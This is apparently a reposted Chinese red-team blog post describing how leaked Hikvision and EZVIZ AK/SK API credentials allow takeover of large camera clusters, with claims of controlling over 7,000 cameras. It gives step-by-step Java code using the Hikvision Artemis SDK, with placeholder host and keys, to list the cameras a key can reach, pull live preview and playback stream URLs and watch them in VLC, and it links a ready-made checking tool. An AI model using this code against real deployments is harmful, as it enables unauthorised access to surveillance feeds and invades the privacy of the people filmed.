【漏洞复现】海康威视AK凭证泄漏引发摄像头集群被接管
2023-3-3 00:4:21 Author: 利刃信安攻防实验室(查看原文) 阅读量:975 收藏

原理分析

海康威视通过AK、SK进行身份验证,通过调用接口实现视频预览等功能。因此代码中泄露了key即可能造成摄像头集群被接管。

下面是某次攻防演习实战中遇到的hikvison凭证泄露。

某次遇到萤石一个aksk可控7000+摄像头。

利用方式

海康威视

海康API对接(JAVA)

https://www.freesion.com/article/60261295938/

①下载官方sdk

https://open.hikvision.com/download/5c67f1e2f05948198c909700?type=10

②IDEA新建maven项目,并将OpenAPI认证库导入maven

mvn install:install-file 
-Dfile=/Users/niudai/lang/apache-maven-3.6.3/artemis-http-client-1.1.3.jar
-DgroupId=artemis-http-client
-DartifactId=hk
-Dversion=1.1.3
-Dpackaging=jar

③创建项目代码

pom.xml增加dependencies

        <dependency>
<groupId>artemis-http-client</groupId>
<artifactId>hk</artifactId>
<version>1.1.3</version>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.68</version>
</dependency>
</dependencies>

DataTypeConversionUtil.java

public class DataTypeConversionUtil {
public static Map<String,Object> getStringToMap(String str){
JSONObject parseObject = JSONArray.parseObject(str);
return parseObject;
}
}

HKUtil.java

import com.alibaba.fastjson.JSONObject;
import com.hikvision.artemis.sdk.ArtemisHttpUtil;
import com.hikvision.artemis.sdk.config.ArtemisConfig;

import java.util.HashMap;
import java.util.Map;

/**
* 海康工具类
*/
public class HKUtil {
static {
// 代理API网关nginx服务器ip端口
ArtemisConfig.host = "220.xxx.xxx.xxx";
// 秘钥appkey
ArtemisConfig.appKey = "xxxx";
// 秘钥appSecret
ArtemisConfig.appSecret = "uxxxxx";
}
/**
* 能力开放平台的网站路径
* TODO 路径不用修改,就是/artemis
*/
private static final String ARTEMIS_PATH = "/artemis";
/**
* 通用海康接口
* 调用POST请求类型(application/json)接口*
* @return
*/
public static Map<String,Object> publicHkInterface(JSONObject jsonBody,String url){
final String getCamsApi = ARTEMIS_PATH +url;
Map<String, String> path = new HashMap<String, String>(2);
path.put("https://", getCamsApi);
// post请求application/json类型参数
String result =ArtemisHttpUtil.doPostStringArtemis(path,jsonBody.toJSONString(),null,null,"application/json",null);
return DataTypeConversionUtil.getStringToMap(result);
}

/**
* 获取监控点预览取流URL
* @param id 设备编号
* @return
*/
public static Map<String,Object> camerasPreviewURLs(String id){
JSONObject jsonBody = new JSONObject();
// jsonBody.put("cameraIndexCode", id);
// jsonBody.put("protocol", "hls");、
// jsonBody.put("streamType", 0);
// jsonBody.put("protocol", "rtsp");
// jsonBody.put("transmode", 1);
// jsonBody.put("expand", "streamform=ps");
Map<String,Object> returnMap=publicHkInterface(jsonBody,"/api/video/v1/cameras/previewURLs");
return returnMap;
}

/**
* API名称:
* 查询监控点列表v2
* 分组:
* 视频资源接口
* 提供方名称:
* 资源目录服务
* qps:
* 描述:根据条件查询目录下有权限的监控点列表
* @return
*/
public static Map<String,Object> cameraSearch(){
JSONObject jsonBody = new JSONObject();
jsonBody.put("pageNo", 1);
jsonBody.put("pageSize", 1000);
jsonBody.put("resourceType", "door");
Map<String,Object> returnMap=publicHkInterface(jsonBody,"/api/resource/v2/camera/search");
return returnMap;
}

public static Map<String,Object> getCameraPlayBackURL(String id){
JSONObject jsonBody = new JSONObject();
jsonBody.put("cameraIndexCode", id);
// jsonBody.put("protocol", "rtsp");
jsonBody.put("beginTime", "2020-12-15T09:35:06.000+08:00");
jsonBody.put("endTime", "2021-06-17T15:00:00.000+08:00");
Map<String,Object> returnMap=publicHkInterface(jsonBody,"/api/video/v1/cameras/playbackURLs");
return returnMap;
}

public static void main(String[] args) {
System.out.println(cameraSearch());
// System.out.println(camerasPreviewURLs("33068100001310938991"));
// System.out.println(getCameraPlayBackURL("33068100001310938991"));
}
}

先通过cameraSearch()/api/resource/v2/camera/search接口,获取有权限的设备列表的信息。

比较重要的信息是indexCoderegionPathName

获取视频流是调用camerasPreviewURLs()/api/video/v1/cameras/previewURLs接口,需要传入indexCode,根据官方文档可以设置不同的取流协议(默认是rtsp)。

返回的视频流地址使用VLC连接即可。

项目地址

https://github.com/darkarmorlab/video-api-check

工具地址

https://github.com/darkarmorlab/video-api-check/releases/tag/v1.0

实战案例

泄漏海康威视凭证



文章来源: http://mp.weixin.qq.com/s?__biz=MzU1Mjk3MDY1OA==&mid=2247501253&idx=4&sn=2cf445edf342456f56e5cf40377ef681&chksm=fbfb7508cc8cfc1e9f58480fa5f16cd5fc4556e46cfce82f6bc8c2310089c9db3dac0648e59e#rd
如有侵权请联系:admin#unsafe.sh